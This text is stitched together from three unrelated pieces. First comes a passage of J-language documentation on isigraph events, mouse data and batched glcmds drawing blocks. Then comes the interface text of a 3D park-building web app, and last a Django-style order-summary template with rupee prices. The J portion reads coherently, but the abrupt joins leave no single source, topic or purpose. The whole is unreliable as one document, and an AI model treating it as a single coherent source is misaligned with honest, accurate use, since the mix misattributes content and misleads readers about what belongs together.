The paint event is signalled whenever the isigraph control changes size. The paint event handler must redraw the drawing surface. It does not need to issue glpaint to move the display surface to the screen--that will be done automatically.
char Event
When a character is pressed while the cursor
is within an isigraph control, a char
event is produced. sysdata
is a character list giving the key that was pressed: the character itself for
printable keys, or the virtual key VK_name for a special key such as HOME or an arrow key
(look in system\packages\graphics\vkeys.ijs for the VK_name definitions). For example, sysdata is 'a' if the letter-a
key is pressed, and 21{a. if the
up-arrow is pressed. The
character in sysdata is represented in UTF-8 form, which
means that it will be encoded as a multi-character sequence if the ASCII code
is 128 or higher.
sysmodifiers is a single character value indicating whether CTRL or SHIFT was pressed: '0'=neither, '1'=SHIFT, '2'=CTRL, '3'=SHIFT+CTRL. No event is signaled for CTRL+ASCII-character as that is taken to be a keyboard shortcut.
Mouse Events
The mouse events are mmove, mbldown, mblup, mbldbl, mbrdown, mbrup, and mbrdbl, corresponding to mouse-move and mouse-clicks (left or right button; down, up, or double-click). sysdata contains a character string which should be converted to numeric using 0&"., after which it will be an 8-item vector indicating the values
cursorx cursory isiwidth isiheight mbl mbr ctrl shift
where cursorx and cursory give the cursor position in pixels, isiwidth and isiheight give the size of the isigraph control in pixels, and mbl, mbr, ctrl, and shift give the status of the corresponding mouse-buttons and keys at the time of the event.
High Performance:
Blocks of glxxx Commands Using glcmds
Each call to a glxxx verb makes an addition to the display list. If your calls have small amounts of data, the overhead of updating the display list could take much more time than the drawing to the screen. In that case, you can see a performance improvement if you build a graphics block holding the data for several glxxx verbs and then pass the block into J with a single call.
The graphics block will be a numeric list which is a concatenation of graphics orders. Each graphics order replaces one call to a glxxx verb and has the format
length_of_order,glxxx_code,data
length_of_order is 2+$data (i. e., the length of the graphics order including the length field). glxxx_code identifies the glxxx verb that the graphics order represents: this is the code used in system\main\gl2.ijs to define the glxxx verb. For example, the glline verb is defined by
glline=: 11!:2013
so the glxxx_code for glline is 2013. data is the operand needed by the glxxx verb.
Once you have built the graphics block, you draw it by executing glcmds graphicsblock . To draw the 2-pixel-wide dashed red line used in the example above, you could issue the glrgb, glpen, and gllines in one go with
block =: 5 2032 255 0 0 4 2022 2 1 6 2015 0 1000 1000 0
glcmds block
Displaying Tabular Data: the Grid Control
The Grid Control is a set of J functions that probably does all you need for displaying a table of data. See the User Guide for a description of its numerous features.
For 3-D graphics, J supports OpenGL, a graphics interface of great power with a manual the size of a phonebook. If you want to learn about it, study the manual; if you know OpenGL and want to use it in J, consult the Labs.


Let's create your own park!
Add some objects such as trees, mountains, etc.
Drag, scroll to zoom and move the camera.
You can also control WASD to navigate the human.
Close this helper.
Screenshot...
Select object to add
select object
mountain
mountain2
mountain3
tree
sakura tree
maple tree
position X
position Y
add object


Your Order
{% for order_item in object.items.all %}
Products:
{{ order_item.item.Product_name }}
Rs. {{ order_item.get_total_item_price }}
{% endfor %}
Subtotal
Rs. {{ object.get_total }}
Shipping
Rs. 0.00
Order Total
Rs. {{ object.get_total }}
*Pay the amount at product delevery